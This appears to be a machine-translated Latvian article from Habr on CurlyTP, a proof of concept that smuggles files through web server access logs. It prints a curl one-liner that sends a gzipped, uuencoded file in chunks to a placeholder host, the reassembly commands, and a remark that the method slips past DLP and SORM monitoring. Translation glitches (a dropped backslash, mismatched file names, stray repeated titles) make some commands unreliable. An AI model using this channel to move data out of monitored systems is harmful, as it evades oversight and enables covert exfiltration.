Slepeno ziņojumu apmaiņa, izmantojot servera žurnālus

Saskaņā ar Wikipedia definīciju miris piliens ir sazvērestības rīks, kas kalpo informācijas vai dažu vienumu apmaiņai starp cilvēkiem, izmantojot slepenu atrašanās vietu. Ideja ir tāda, ka cilvēki nekad nesatiekas, taču viņi joprojām apmainās ar informāciju, lai uzturētu darba drošību.

Paslēptuvei nevajadzētu piesaistīt uzmanību. Tāpēc bezsaistes pasaulē viņi bieži izmanto diskrētas lietas: vaļīgu ķieģeli sienā, bibliotēkas grāmatu vai iedobi kokā.

Internetā ir daudz šifrēšanas un anonimizācijas rīku, taču uzmanību piesaista pats šo rīku izmantošanas fakts. Turklāt tie var tikt bloķēti korporatīvā vai valdības līmenī. Ko darīt?

Izstrādātājs Raiens Flowers ierosināja interesantu iespēju - izmantot jebkuru tīmekļa serveri kā slēptuvi. Ja tā padomā, ko dara tīmekļa serveris? Saņem pieprasījumus, izsniedz failus un raksta žurnālus. Un tas reģistrē visus pieprasījumus, pat nepareizās!

Izrādās, ka jebkurš tīmekļa serveris ļauj žurnālā saglabāt gandrīz jebkuru ziņojumu. Ziedi domāja, kā to izmantot.

Viņš piedāvā šādu iespēju:

  1. Paņemiet teksta failu (slepeno ziņojumu) un aprēķiniet hash (md5sum).
  2. Mēs to kodējam (gzip+uuencode).
  3. Mēs rakstām žurnālā, izmantojot apzināti nepareizu pieprasījumu serverim.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Lai lasītu failu, šīs darbības jāveic apgrieztā secībā: atšifrējiet un izpakojiet failu, pārbaudiet jaucējkodu (jaucēju var droši pārsūtīt pa atvērtiem kanāliem).

Atstarpes tiek aizstātas ar =+=lai adresē nebūtu atstarpes. Programma, ko autors sauc par CurlyTP, izmanto base64 kodējumu, piemēram, e-pasta pielikumus. Pieprasījums tiek veikts ar atslēgvārdu ?transfer?lai saņēmējs to varētu viegli atrast žurnālos.

Ko mēs šajā gadījumā redzam žurnālos?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Kā jau minēts, lai saņemtu slepenu ziņojumu, jums ir jāveic darbības apgrieztā secībā:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Procesu ir viegli automatizēt. Md5sum atbilst, un faila saturs apstiprina, ka viss tika atšifrēts pareizi.

Metode ir ļoti vienkārša. “Šī uzdevuma mērķis ir tikai pierādīt, ka failus var pārsūtīt, izmantojot nevainīgus mazus tīmekļa pieprasījumus, un tas darbojas jebkurā tīmekļa serverī ar vienkārša teksta žurnāliem. Būtībā katrs tīmekļa serveris ir slēptuve!” raksta Flowers.

Protams, metode darbojas tikai tad, ja adresātam ir piekļuve servera žurnāliem. Bet šādu piekļuvi nodrošina, piemēram, daudzi saimnieki.

Kā to izmantot?

Raiens Flowers saka, ka viņš nav informācijas drošības eksperts un nesastādīs sarakstu ar iespējamiem CurlyTP lietojumiem. Viņam tas ir tikai koncepcijas pierādījums, ka pazīstamos rīkus, ko mēs redzam ikdienā, var izmantot netradicionālā veidā.

Faktiski šai metodei ir vairākas priekšrocības salīdzinājumā ar citiem servera “slēpņiem”, piemēram Digital Dead Drop vai PirateBox: tam nav nepieciešama īpaša konfigurācija servera pusē vai nekādi īpaši protokoli - un tas neradīs aizdomas tiem, kas uzrauga trafiku. Maz ticams, ka SORM vai DLP sistēma skenēs URL saspiestus teksta failus.

Šis ir viens no veidiem, kā pārsūtīt ziņojumus, izmantojot pakalpojumu failus. Jūs varat atcerēties, kā daži progresīvi uzņēmumi izmantoja vietu Izstrādātāju darbi HTTP galvenēs vai HTML lapu kodā.

Slepeno ziņojumu apmaiņa, izmantojot servera žurnālus

Ideja bija tāda, ka šo Lieldienu olu redzēs tikai tīmekļa izstrādātāji, jo parasts cilvēks neskatītos galvenes vai HTML kodu.

Slepeno ziņojumu apmaiņa, izmantojot servera žurnālus

Avots: www.habr.com

Pievieno komentāru